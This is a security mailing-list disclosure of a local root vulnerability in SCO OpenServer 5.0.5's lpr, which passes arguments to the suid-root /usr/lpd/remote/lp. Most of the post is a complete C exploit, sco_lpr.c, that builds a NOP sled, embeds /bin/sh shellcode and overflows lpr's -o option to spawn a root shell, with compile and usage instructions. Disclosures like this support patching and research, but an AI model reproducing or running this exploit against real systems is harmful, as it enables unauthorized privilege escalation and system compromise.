SCO 5.0.5 lpr local root exploit

[btellier () WEBLEY COM (Brock Tellier)]

Greetings,

There is a hole in SCO 5.0.5, probably 5.0.x, /usr/bin/lpr.  Or more
accurately, /usr/lpd/remote/lp, which lpr execs and passes your command
line args on to.  This means that while /usr/bin/lpr is sgid lp, we'll
still get a rootshell because /usr/lpd/remote/lp is suid root/sgid
daemon.  I haven't looked into the remote angle of this exploit, though
the pathname is hardly encouraging.

FIX: I would recommend a recursive directory sbit-search-and-destroy if
you're running SCO..

-Brock

--- cut ---

/*
 * sco_lpr.c - overflows /usr/remote/lpd/lp and gives rootshell
 * Tested on SCO 5.0.5+Skunkware98
 *
 *  Compile gcc -o sco_lpr sco_lpr.c
 *   sco_lpr <offset> <bufsiz>
 *
 *   -Brock Tellier btellier () webley com
 */

#include <stdlib.h>
#include <stdio.h>

char scoshell[]= /* doble () iname com */
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/bin/sh\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";

#define LEN 3000
#define NOP 0x90

unsigned long get_sp(void) {

__asm__("movl %esp, %eax");

}

int main(int argc, char *argv[]) {

long int offset=0;

int i;
int buflen = LEN;
long int addr;
char buf[LEN];

 if(argc > 3) {
  fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
 exit(0);
 }
 else if (argc == 2){
   offset=atoi(argv[1]);

 }
 else if (argc == 3) {
  buflen=atoi(argv[2]);

 }
 else {
   offset=1800;
   buflen=1500;

 }

addr=get_sp();

fprintf(stderr, "SCO 5.0.5 lpr exploit\n");
fprintf(stderr, "Brock Tellier btellier () webley com\n");
fprintf(stderr, "Using addr: 0x%x\n", addr+offset);

memset(buf,NOP,buflen);
memcpy(buf+(buflen/2),scoshell,strlen(scoshell));
for(i=((buflen/2) + strlen(scoshell))+1;i<buflen-4;i+=4)
 *(int *)&buf[i]=addr+offset;

execl("/usr/bin/lpr", "lpr", "-o", buf,  NULL);

exit(0);
}
--- cut ---
Brock Tellier
UNIX Systems Administrator
Webley Systems
www.webley.com